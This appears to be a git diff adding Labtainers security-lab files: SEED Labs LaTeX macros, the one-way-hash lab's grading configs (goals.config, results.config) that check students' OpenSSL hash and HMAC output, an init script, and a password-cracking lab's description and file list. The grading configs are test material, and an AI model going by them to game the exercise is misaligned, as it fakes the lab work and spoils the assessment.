+%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + +\newcommand{\copyrightnoticeA}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small Copyright \copyright\ 2006 - 2014\ \ Wenliang Du, Syracuse University.\\ + The development of this document is partially funded by + the National Science Foundation's Course, Curriculum, and Laboratory + Improvement (CCLI) program under Award No. 0618680 and 0231122. + Permission is granted to copy, distribute and/or modify this document + under the terms of the GNU Free Documentation License, Version 1.2 + or any later version published by the Free Software Foundation. + A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.}} +\vspace{0.1in} +} + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small Copyright \copyright\ 2006 - 2014\ \ Wenliang Du, Syracuse University.\\ + The development of this document is/was funded by three grants from + the US National Science Foundation: Awards No. 0231122 and 0618680 from + TUES/CCLI and Award No. 1017771 from Trustworthy Computing. + This lab was imported into the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under National Science + Foundation Award No. 1438893. + Permission is granted to copy, distribute and/or modify this document + under the terms of the GNU Free Documentation License, Version 1.2 + or any later version published by the Free Software Foundation. + A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.}} +\vspace{0.1in} +} + +\newcommand{\copyrightnoticeB}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small Copyright \copyright\ 2006 - 2014\ \ Wenliang Du, Syracuse University.\\ + The development of this document is/was funded by the following grants from + the US National Science Foundation: No. 0231122, 0618680, and 1303306. + Permission is granted to copy, distribute and/or modify this document + under the terms of the GNU Free Documentation License, Version 1.2 + or any later version published by the Free Software Foundation. + A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.}} +\vspace{0.1in} +} + + +\newcommand{\nocopyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small + The development of this document is funded by + the National Science Foundation's Course, Curriculum, and Laboratory + Improvement (CCLI) program under Award No. 0618680 and 0231122. + Permission is granted to copy, distribute and/or modify this document. + }} +\vspace{0.1in} +} + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\minix}{{\tt Minix}\xspace} +\newcommand{\unix}{{\tt Unix}\xspace} +\newcommand{\linux}{{\tt Linux}\xspace} +\newcommand{\ubuntu}{{\tt Ubuntu}\xspace} +\newcommand{\selinux}{{\tt SELinux}\xspace} +\newcommand{\freebsd}{{\tt FreeBSD}\xspace} +\newcommand{\solaris}{{\tt Solaris}\xspace} +\newcommand{\windowsnt}{{\tt Windows NT}\xspace} +\newcommand{\setuid}{{\tt Set-UID}\xspace} +%\newcommand{\smx}{{\tt Smx}\xspace} +\newcommand{\smx}{{\tt Minix}\xspace} +\newcommand{\relay}{{\tt relay}\xspace} +\newcommand{\isys}{{\tt iSYS}\xspace} +\newcommand{\ilan}{{\tt iLAN}\xspace} +\newcommand{\iSYS}{{\tt iSYS}\xspace} +\newcommand{\iLAN}{{\tt iLAN}\xspace} +\newcommand{\iLANs}{{\tt iLAN}s\xspace} +\newcommand{\bochs}{{\tt Bochs}\xspace} + +\newcommand\FF{{\mathcal{F}}} + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +%\pagestyle{fancyplain} +%\lhead[\thepage]{\thesection} % Note the different brackets! +%\rhead[\thesection]{SEED Laboratories} +%\lfoot[\fancyplain{}{}]{Syracuse University} +%\cfoot[\fancyplain{}{}]{\thepage} + +\newcommand{\tstamp}{\today} +%\lhead[\fancyplain{}{\thepage}] {\fancyplain{}{\rightmark}} +%\chead[\fancyplain{}{}] {\fancyplain{}{}} +%\rhead[\fancyplain{}{\rightmark}] {\fancyplain{}{\thepage}} +%\lfoot[\fancyplain{}{}] {\fancyplain{\tstamp}{\tstamp}} +%\cfoot[\fancyplain{\thepage}{}] {\fancyplain{\thepage}{}} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +%\lhead{\bfseries Computer Security Course Project} +\lhead{\bfseries SEED Labs} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + +\usepackage{listings} +\usepackage{color} + +\definecolor{dkgreen}{rgb}{0,0.6,0} +\definecolor{gray}{rgb}{0.5,0.5,0.5} +\definecolor{mauve}{rgb}{0.58,0,0.82} + +\lstset{frame=tb, + language=C, + aboveskip=3mm, + belowskip=3mm, + showstringspaces=false, + columns=flexible, + basicstyle={\small\ttfamily}, + numbers=none, + numberstyle=\tiny\color{gray}, + keywordstyle=\color{blue}, + commentstyle=\color{dkgreen}, + stringstyle=\color{mauve}, + breaklines=true, + breakatwhitespace=true, + tabsize=3 +} + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/docs/read_first.txt new file mode 100644 index 000000000..dbfeeed1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/docs/read_first.txt @@ -0,0 +1,5 @@ +One Way Hash Lab -- Read this first + +The lab manual for this lab is at: + file://LAB_DOCS/onewayhash.pdf +Right click on the link and select "Open link". diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/instr_config/goals.config new file mode 100644 index 000000000..f5e80daf7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/instr_config/goals.config @@ -0,0 +1,32 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide + +# Goals for the onewayhash lab. + +# which hash algorithms did the student try? +_md5done = matchany : string_equal : md5filedigest : answer=filetodigest.txt +_sha1done = matchany : string_equal : sha1filedigest : answer=filetodigest.txt +_shadone = matchany : string_equal : shafiledigest : answer=filetodigest.txt +_sha256done = matchany : string_equal : sha256filedigest : answer=filetodigest.txt +_sha224done = matchany : string_equal : sha224filedigest : answer=filetodigest.txt +_sha384done = matchany : string_equal : sha384filedigest : answer=filetodigest.txt +_sha512done = matchany : string_equal : sha512filedigest : answer=filetodigest.txt +_md4done = matchany : string_equal : md4filedigest : answer=filetodigest.txt +_whirlpooldone = matchany : string_equal : whirlpoolfiledigest : answer=filetodigest.txt +_rmd160done = matchany : string_equal : rmd160filedigest : answer=filetodigest.txt +# did student try at least 3? +# DOC: Did the student try 3 different has algorithms? +did_3_hashes = count_greater : 2 : (_md5done, _sha1done, _shadone, _sha256done, _sha384done, _sha512done, _md4done, _whirlpooldone, _rmd160done) + +# keyed hash with three precribed algorithms +# GROUP: Three prescribed algorithms for HMAC operations +hmac_md5_done = matchany : string_equal : hmacmd5filedigest : answer=filetodigest.txt +hmac_sha1_done = matchany : string_equal : hmacsha1filedigest : answer=filetodigest.txt +hmac_sha256_done = matchany : string_equal : hmacsha256filedigest : answer=filetodigest.txt + +#GROUP: Two prescribed algorithms for observing changes in hash due to file modification +random_sha256diff = matchacross : string_diff : random_sha256digest : random_sha256digest +random_md5diff = matchacross : string_diff : random_md5digest : random_md5digest + +own_work = matchany : string_equal : student_watermark : parameter.DIGESTFILE diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/instr_config/results.config new file mode 100644 index 000000000..89b37dc9e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/instr_config/results.config @@ -0,0 +1,27 @@ +# results.config +# +# Results for onewayhas lab +# Please see the Labtainer Lab Designer User Guide + +# record hashing with various algorthims +md5filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : MD5 +sha1filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : SHA1 +sha256filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : SHA256 +sha224filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : SHA224 +sha384filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : SHA384 +sha512filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : SHA512 +md4filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : MD4 +whirlpoolfiledigest = openssl.stdout : PARENS : 1 : STARTSWITH : WHIRLPOOL +rmd160filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : RIMEMD160 +shafiledigest = openssl.stdout : PARENS : 1 : STARTSWITH : SHA( + +# record keyed hash with 3 prescribed algorithms +hmacmd5filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : HMAC-MD5 +hmacsha1filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : HMAC-SHA1 +hmacsha256filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : HMAC-SHA256 + +# record digest with sha256 and md5 +random_sha256digest = openssl.stdout : 2 : STARTSWITH : SHA256(edit-this-file.txt) +random_md5digest = openssl.stdout : 2 : STARTSWITH : MD5(edit-this-file.txt) + +student_watermark = filetodigest.txt : 4 : STARTSWITH : My string is: diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/onewayhash/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/onewayhash/_bin/treataslocal new file mode 100644 index 000000000..08b677fae --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/onewayhash/_bin/treataslocal @@ -0,0 +1 @@ +/usr/bin/openssl diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/onewayhash/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/onewayhash/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/onewayhash/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/onewayhash/filetodigest.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/onewayhash/filetodigest.txt new file mode 100644 index 000000000..38c277e27 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/onewayhash/filetodigest.txt @@ -0,0 +1,7 @@ +# Filename: filetodigest.txt +# +# Description: This is a pre-created file for each student container + +# This file is modified when container is created +# The string below will be replaced with a keyed hash +My string is: MY_DIGEST diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/config/about.txt new file mode 100644 index 000000000..b86a8d28d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/config/about.txt @@ -0,0 +1 @@ +Introduction to passwords and elementary cracking schemes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/config/home_tar.list b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/config/home_tar.list new file mode 100644 index 000000000..df62c9665 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/config/home_tar.list @@ -0,0 +1,4106 @@ +biglist.txt +calc/ +calc/i5 +calc/B1 +calc/ox +calc/8h +calc/XQ +calc/x2 +calc/ed +calc/4c +calc/M1 +calc/ri +calc/qG +calc/KM +calc/MT +calc/HM +calc/T1 +calc/aX +calc/Hk +calc/5L +calc/B+ +calc/Qq +calc/e+ +calc/Gm +calc/NY +calc/4T +calc/uP +calc/OB +calc/-D +calc/0e +calc/qd +calc/mG +calc/Z7 +calc/pg +calc/+B +calc/5P +calc/Lk +calc/nz +calc/AY +calc/R3 +calc/PO +calc/mE +calc/Sk +calc/8S +calc/mR +calc/3F +calc/gO +calc/M0 +calc/p0 +calc/oc +calc/rM +calc/c5 +calc/uf +calc/AS +calc/Xm +calc/3m +calc/WG +calc/2U +calc/1j +calc/h6 +calc/8k +calc/3n +calc/Fy +calc/3b +calc/Tm +calc/tA +calc/cu +calc/Ti +calc/1b +calc/Ft +calc/y7 +calc/K1 +calc/4o +calc/9Z +calc/V0 +calc/PR +calc/DD +calc/+m +calc/fw +calc/xP +calc/bF +calc/2i +calc/RI +calc/BL +calc/qu +calc/ps +calc/X4 +calc/2L +calc/3j +calc/G3 +calc/RK +calc/lC +calc/3v +calc/LJ +calc/+M +calc/Z1 +calc/hi +calc/p7 +calc/SV +calc/pw +calc/Zt +calc/Bh +calc/kS +calc/7W +calc/hY +calc/wx +calc/N2 +calc/aU +calc/bh +calc/OX +calc/vV +calc/z8 +calc/Gx +calc/Ng +calc/Qp +calc/fM +calc/Hq +calc/OW +calc/9y +calc/9J +calc/Su +calc/uN +calc/+- +calc/6W +calc/rb +calc/VM +calc/LV +calc/DJ +calc/CF +calc/zm +calc/nX +calc/no +calc/nS +calc/jW +calc/q3 +calc/8b +calc/kv +calc/XP +calc/Sh +calc/CK +calc/Bp +calc/Iv +calc/4S +calc/4t +calc/Uu +calc/Am +calc/mP +calc/Lv +calc/X7 +calc/6j +calc/lh +calc/6M +calc/rl +calc/nL +calc/zf +calc/SB +calc/9L +calc/EV +calc/4a +calc/aZ +calc/XI +calc/Bt +calc/FA +calc/dm +calc/2a +calc/VL +calc/fn +calc/9f +calc/HV +calc/aT +calc/za +calc/ef +calc/pb +calc/SF +calc/N8 +calc/uu +calc/jq +calc/2- +calc/do +calc/7z +calc/I+ +calc/4p +calc/xH +calc/YZ +calc/Yr +calc/l7 +calc/iZ +calc/mr +calc/cB +calc/vg +calc/1T +calc/M4 +calc/o4 +calc/iX +calc/yN +calc/qX +calc/Ue +calc/Px +calc/ii +calc/Tt +calc/0K +calc/nK +calc/rf +calc/4P +calc/NK +calc/xw +calc/r4 +calc/ET +calc/gv +calc/in +calc/I1 +calc/wc +calc/IR +calc/En +calc/Hm +calc/8f +calc/Qo +calc/Tn +calc/zg +calc/w2 +calc/V1 +calc/Ap +calc/6i +calc/xU +calc/5R +calc/Xs +calc/Ls +calc/oA +calc/bn +calc/dd +calc/HB +calc/6B +calc/hw +calc/4l +calc/TO +calc/xg +calc/rk +calc/ho +calc/es +calc/11 +calc/Fg +calc/rP +calc/5k +calc/72 +calc/XH +calc/BN +calc/m0 +calc/Ll +calc/3s +calc/7N +calc/i9 +calc/Za +calc/Gk +calc/cH +calc/r5 +calc/lX +calc/Um +calc/O5 +calc/+5 +calc/n- +calc/ze +calc/2q +calc/Fd +calc/d6 +calc/aG +calc/9G +calc/D9 +calc/D5 +calc/rz +calc/Jb +calc/Kw +calc/Bc +calc/+z +calc/LZ +calc/bl +calc/Vs +calc/wO +calc/Ps +calc/GM +calc/4F +calc/i8 +calc/Qv +calc/Sn +calc/o6 +calc/f- +calc/C2 +calc/-u +calc/D1 +calc/rB +calc/-8 +calc/Uz +calc/hf +calc/89 +calc/g7 +calc/jM +calc/X2 +calc/WX +calc/0H +calc/ep +calc/rV +calc/7b +calc/dI +calc/7C +calc/5N +calc/WI +calc/Kn +calc/oJ +calc/f4 +calc/hd +calc/O3 +calc/wp +calc/iO +calc/fA +calc/eZ +calc/QW +calc/EI +calc/UM +calc/O6 +calc/ub +calc/fx +calc/kf +calc/86 +calc/V9 +calc/YK +calc/us +calc/Gi +calc/Qy +calc/hn +calc/OO +calc/kd +calc/bK +calc/hD +calc/Jc +calc/hX +calc/nk +calc/YA +calc/+4 +calc/5E +calc/U9 +calc/-l +calc/f8 +calc/FQ +calc/pP +calc/Lb +calc/cO +calc/IY +calc/F8 +calc/v2 +calc/Yt +calc/Pd +calc/pU +calc/P3 +calc/yJ +calc/DR +calc/Fq +calc/eF +calc/MO +calc/r7 +calc/MR +calc/cL +calc/gB +calc/EH +calc/v5 +calc/Y9 +calc/jj +calc/j8 +calc/sg +calc/KL +calc/pI +calc/7d +calc/Dc +calc/AB +calc/jB +calc/ph +calc/Lc +calc/o- +calc/pC +calc/CR +calc/n8 +calc/5M +calc/KY +calc/tK +calc/Ga +calc/Vr +calc/zi +calc/ED +calc/Ig +calc/Q4 +calc/xD +calc/GH +calc/mM +calc/Z5 +calc/tq +calc/qk +calc/s5 +calc/iU +calc/ty +calc/sV +calc/6T +calc/x4 +calc/a3 +calc/lA +calc/3H +calc/-h +calc/Si +calc/WK +calc/7I +calc/+1 +calc/fY +calc/Ot +calc/HG +calc/uv +calc/YT +calc/Zl +calc/ZT +calc/j6 +calc/0s +calc/MS +calc/Xy +calc/+e +calc/TM +calc/g3 +calc/z2 +calc/Yd +calc/H3 +calc/Nf +calc/AP +calc/3Y +calc/sC +calc/bp +calc/SO +calc/UB +calc/ZM +calc/M8 +calc/y1 +calc/CW +calc/Vx +calc/ke +calc/+8 +calc/7Z +calc/V7 +calc/Nx +calc/LE +calc/K8 +calc/BX +calc/JZ +calc/pm +calc/mb +calc/qB +calc/eV +calc/O7 +calc/zq +calc/tu +calc/Cp +calc/Nl +calc/Jv +calc/61 +calc/DM +calc/2g +calc/ex +calc/AM +calc/lb +calc/vh +calc/+7 +calc/y4 +calc/Ze +calc/-f +calc/NP +calc/VR +calc/6D +calc/II +calc/JS +calc/Hd +calc/lf +calc/Yn +calc/lq +calc/cF +calc/cR +calc/bo +calc/NL +calc/pa +calc/TT +calc/V6 +calc/Q0 +calc/nJ +calc/NV +calc/7l +calc/yu +calc/uE +calc/5H +calc/TQ +calc/st +calc/zl +calc/KC +calc/ae +calc/Up +calc/TS +calc/G4 +calc/7c +calc/WN +calc/uJ +calc/u2 +calc/qN +calc/Ql +calc/3B +calc/ow +calc/nu +calc/oa +calc/M2 +calc/Ui +calc/hI +calc/3C +calc/o7 +calc/Ai +calc/55 +calc/h1 +calc/0F +calc/7x +calc/zC +calc/qh +calc/S7 +calc/IL +calc/ZB +calc/2Y +calc/vN +calc/zb +calc/S2 +calc/u8 +calc/tG +calc/wn +calc/5- +calc/4e +calc/L6 +calc/Zm +calc/ER +calc/vs +calc/H2 +calc/Q1 +calc/qv +calc/q6 +calc/GN +calc/f5 +calc/ku +calc/BG +calc/m- +calc/MD +calc/Yx +calc/G1 +calc/WQ +calc/hv +calc/Dk +calc/Cy +calc/ja +calc/SQ +calc/aK +calc/+N +calc/Fh +calc/mo +calc/qP +calc/QJ +calc/pd +calc/03 +calc/UU +calc/SR +calc/Hw +calc/Ed +calc/l2 +calc/a1 +calc/Oe +calc/tQ +calc/bC +calc/M- +calc/uQ +calc/zw +calc/cg +calc/y5 +calc/Le +calc/EQ +calc/AV +calc/ab +calc/e7 +calc/gP +calc/Db +calc/zx +calc/DL +calc/zX +calc/1K +calc/Pg +calc/lT +calc/Ic +calc/+b +calc/Gy +calc/8K +calc/VU +calc/EA +calc/WU +calc/o1 +calc/3k +calc/Sz +calc/wW +calc/yh +calc/gH +calc/0A +calc/qR +calc/Ws +calc/6d +calc/v8 +calc/Zo +calc/q7 +calc/6L +calc/LA +calc/vH +calc/AE +calc/t6 +calc/7R +calc/0f +calc/kT +calc/te +calc/VA +calc/u9 +calc/FU +calc/iJ +calc/Z4 +calc/RS +calc/wS +calc/ZQ +calc/kb +calc/to +calc/gd +calc/E3 +calc/-a +calc/Qi +calc/VE +calc/9D +calc/zP +calc/Op +calc/HI +calc/aF +calc/AJ +calc/1f +calc/tT +calc/ot +calc/JK +calc/n2 +calc/m8 +calc/Me +calc/jr +calc/M+ +calc/JJ +calc/XU +calc/oO +calc/rw +calc/JX +calc/FL +calc/2C +calc/XC +calc/Qj +calc/sk +calc/jU +calc/Ip +calc/HS +calc/LH +calc/fW +calc/YB +calc/FV +calc/0v +calc/hO +calc/iy +calc/0U +calc/7e +calc/4Z +calc/-c +calc/0+ +calc/hy +calc/Wg +calc/Rr +calc/da +calc/3i +calc/Td +calc/cG +calc/48 +calc/nB +calc/3S +calc/R8 +calc/MB +calc/Py +calc/3w +calc/+x +calc/78 +calc/AU +calc/nU +calc/aa +calc/4x +calc/xQ +calc/Fn +calc/ck +calc/-T +calc/xh +calc/3N +calc/jJ +calc/Sd +calc/GZ +calc/cl +calc/FW +calc/-s +calc/L8 +calc/gD +calc/Dm +calc/Ku +calc/7J +calc/WR +calc/ch +calc/uV +calc/Ik +calc/Ul +calc/tk +calc/s8 +calc/r9 +calc/Bu +calc/N4 +calc/mv +calc/gi +calc/MU +calc/PF +calc/dH +calc/uz +calc/GX +calc/K+ +calc/2Q +calc/v4 +calc/jS +calc/sv +calc/dO +calc/BH +calc/nR +calc/kQ +calc/05 +calc/Gv +calc/we +calc/BK +calc/tl +calc/nd +calc/cD +calc/dW +calc/cI +calc/0G +calc/XV +calc/zD +calc/vX +calc/d0 +calc/5p +calc/BQ +calc/1l +calc/Xg +calc/bQ +calc/Lo +calc/vZ +calc/xv +calc/Tq +calc/BD +calc/o5 +calc/DO +calc/6g +calc/Hp +calc/CJ +calc/Ty +calc/ac +calc/Pu +calc/-9 +calc/WB +calc/U1 +calc/+W +calc/SD +calc/mK +calc/Pk +calc/Hn +calc/is +calc/UW +calc/Sl +calc/6O +calc/vF +calc/g1 +calc/DU +calc/uR +calc/7u +calc/D2 +calc/9F +calc/SP +calc/-L +calc/nE +calc/ZH +calc/hG +calc/Ve +calc/3o +calc/Mk +calc/nn +calc/xk +calc/LX +calc/pW +calc/ei +calc/eB +calc/AW +calc/vt +calc/VG +calc/rT +calc/7B +calc/-7 +calc/pK +calc/K- +calc/sM +calc/j7 +calc/fp +calc/v9 +calc/uw +calc/s- +calc/Te +calc/fo +calc/iW +calc/ft +calc/k2 +calc/Lx +calc/c6 +calc/y+ +calc/Z3 +calc/OV +calc/27 +calc/1R +calc/z3 +calc/fJ +calc/Cv +calc/Zw +calc/V- +calc/53 +calc/DW +calc/YC +calc/yk +calc/eT +calc/YW +calc/QG +calc/uM +calc/I0 +calc/Mp +calc/Eq +calc/UN +calc/DK +calc/ny +calc/Sq +calc/jR +calc/8z +calc/Z6 +calc/6u +calc/8i +calc/fP +calc/IF +calc/pp +calc/vA +calc/rN +calc/uC +calc/OR +calc/RA +calc/Ml +calc/5m +calc/tW +calc/mN +calc/-P +calc/-K +calc/eo +calc/1B +calc/Rc +calc/rh +calc/GI +calc/jL +calc/hP +calc/Qz +calc/Us +calc/-z +calc/wd +calc/lx +calc/5v +calc/wK +calc/2D +calc/aR +calc/Zb +calc/qH +calc/TV +calc/z0 +calc/bs +calc/EB +calc/EY +calc/R4 +calc/Yf +calc/JW +calc/9O +calc/PQ +calc/Hh +calc/F2 +calc/o2 +calc/rG +calc/oW +calc/j5 +calc/ux +calc/Qm +calc/J3 +calc/UC +calc/7o +calc/lW +calc/QK +calc/sq +calc/yy +calc/Nz +calc/th +calc/qT +calc/QE +calc/bD +calc/ly +calc/wX +calc/Qs +calc/cQ +calc/bT +calc/xt +calc/4z +calc/so +calc/ap +calc/fO +calc/5X +calc/+q +calc/5l +calc/pH +calc/TD +calc/NA +calc/Wf +calc/1V +calc/Qu +calc/Yj +calc/vp +calc/ZO +calc/VJ +calc/3l +calc/Tl +calc/-R +calc/5Q +calc/by +calc/AD +calc/he +calc/U2 +calc/Ms +calc/H9 +calc/NG +calc/cb +calc/Pb +calc/PY +calc/Og +calc/qV +calc/Sg +calc/3Q +calc/M6 +calc/XO +calc/mO +calc/Qc +calc/XM +calc/rO +calc/7f +calc/iK +calc/ni +calc/dy +calc/gN +calc/Ce +calc/-r +calc/IO +calc/Jk +calc/eU +calc/o+ +calc/51 +calc/mX +calc/4X +calc/de +calc/KW +calc/KX +calc/IC +calc/Ss +calc/wy +calc/LF +calc/07 +calc/Pw +calc/FT +calc/D6 +calc/Lu +calc/vC +calc/ts +calc/M7 +calc/Fs +calc/dR +calc/5D +calc/Th +calc/y3 +calc/nb +calc/j4 +calc/Dj +calc/Oi +calc/S5 +calc/4N +calc/Kq +calc/3h +calc/NE +calc/iE +calc/9V +calc/tD +calc/pq +calc/Xq +calc/60 +calc/W+ +calc/ia +calc/cy +calc/Hl +calc/-b +calc/LY +calc/8Y +calc/Yi +calc/du +calc/F0 +calc/fh +calc/Xj +calc/zk +calc/ob +calc/KP +calc/-w +calc/hE +calc/HT +calc/6s +calc/-W +calc/nj +calc/Av +calc/p1 +calc/BF +calc/JN +calc/bH +calc/1q +calc/wk +calc/QN +calc/fV +calc/7O +calc/U6 +calc/NJ +calc/FX +calc/qD +calc/m6 +calc/fN +calc/zI +calc/Uh +calc/x6 +calc/RU +calc/pG +calc/zv +calc/NF +calc/HK +calc/t5 +calc/kH +calc/71 +calc/kx +calc/9W +calc/Ur +calc/jt +calc/-Q +calc/Y7 +calc/tr +calc/BE +calc/pj +calc/dv +calc/bE +calc/yl +calc/eb +calc/H4 +calc/ie +calc/dJ +calc/wi +calc/ya +calc/Lf +calc/J4 +calc/7K +calc/Zi +calc/Ky +calc/jO +calc/xl +calc/wT +calc/vz +calc/6J +calc/Kx +calc/Gu +calc/6S +calc/k1 +calc/n+ +calc/Rf +calc/8a +calc/kZ +calc/r- +calc/IP +calc/2p +calc/L- +calc/mn +calc/Oy +calc/yV +calc/vD +calc/ga +calc/3- +calc/NT +calc/0X +calc/m4 +calc/Y2 +calc/Lh +calc/6Y +calc/46 +calc/Wp +calc/Q- +calc/6t +calc/NR +calc/xp +calc/Di +calc/E0 +calc/kt +calc/xK +calc/qx +calc/yg +calc/-e +calc/XR +calc/YL +calc/UR +calc/sj +calc/gV +calc/Pe +calc/me +calc/HQ +calc/TP +calc/JE +calc/aY +calc/f1 +calc/v- +calc/ww +calc/YF +calc/Hj +calc/hM +calc/cj +calc/lc +calc/Xp +calc/Rj +calc/Xn +calc/1W +calc/rY +calc/pf +calc/H+ +calc/Ci +calc/oj +calc/gC +calc/Zc +calc/sh +calc/OH +calc/74 +calc/uT +calc/wG +calc/Gw +calc/B6 +calc/kL +calc/qe +calc/aO +calc/oh +calc/a0 +calc/rF +calc/Ct +calc/BO +calc/Ug +calc/kC +calc/8t +calc/b3 +calc/Ou +calc/tM +calc/Pn +calc/x3 +calc/jy +calc/Ro +calc/TI +calc/8n +calc/QL +calc/6w +calc/GV +calc/An +calc/xd +calc/cw +calc/R9 +calc/O4 +calc/OG +calc/oI +calc/yp +calc/KE +calc/Tb +calc/NN +calc/HA +calc/O2 +calc/dA +calc/gA +calc/SH +calc/C8 +calc/-J +calc/Xc +calc/fv +calc/WD +calc/VD +calc/GD +calc/ay +calc/cW +calc/45 +calc/2G +calc/6a +calc/bm +calc/P+ +calc/uy +calc/Ks +calc/YN +calc/sQ +calc/1P +calc/La +calc/Sp +calc/PK +calc/8p +calc/7n +calc/ls +calc/VN +calc/MV +calc/va +calc/HE +calc/mI +calc/yU +calc/qj +calc/1G +calc/cq +calc/TZ +calc/eS +calc/3e +calc/5n +calc/5V +calc/R1 +calc/Dq +calc/g9 +calc/Hi +calc/9E +calc/-g +calc/AA +calc/ky +calc/RW +calc/uq +calc/aM +calc/n5 +calc/AZ +calc/V3 +calc/-G +calc/bq +calc/ea +calc/Ia +calc/FG +calc/TC +calc/iD +calc/Zs +calc/o3 +calc/Ma +calc/WY +calc/EZ +calc/pv +calc/cP +calc/S8 +calc/Ox +calc/SA +calc/dp +calc/+F +calc/MZ +calc/pE +calc/Bv +calc/of +calc/aj +calc/5y +calc/0r +calc/3Z +calc/aW +calc/P7 +calc/eg +calc/pk +calc/LU +calc/7i +calc/i- +calc/Y5 +calc/7k +calc/fS +calc/Vt +calc/HH +calc/qS +calc/eK +calc/Rb +calc/Wt +calc/KK +calc/k4 +calc/zS +calc/Tw +calc/bN +calc/O1 +calc/ou +calc/S6 +calc/je +calc/RE +calc/ca +calc/Pm +calc/+Z +calc/Gg +calc/5B +calc/52 +calc/Ww +calc/rD +calc/n1 +calc/8y +calc/2T +calc/ue +calc/NX +calc/sd +calc/Fr +calc/P- +calc/1s +calc/r0 +calc/nW +calc/9a +calc/+r +calc/Y6 +calc/2E +calc/lJ +calc/kw +calc/+f +calc/mU +calc/VH +calc/nN +calc/zy +calc/gX +calc/Fz +calc/Vp +calc/kM +calc/kJ +calc/ES +calc/39 +calc/iw +calc/01 +calc/UQ +calc/Jt +calc/jK +calc/nO +calc/+L +calc/QQ +calc/xR +calc/pR +calc/g- +calc/-k +calc/W0 +calc/-6 +calc/qW +calc/jQ 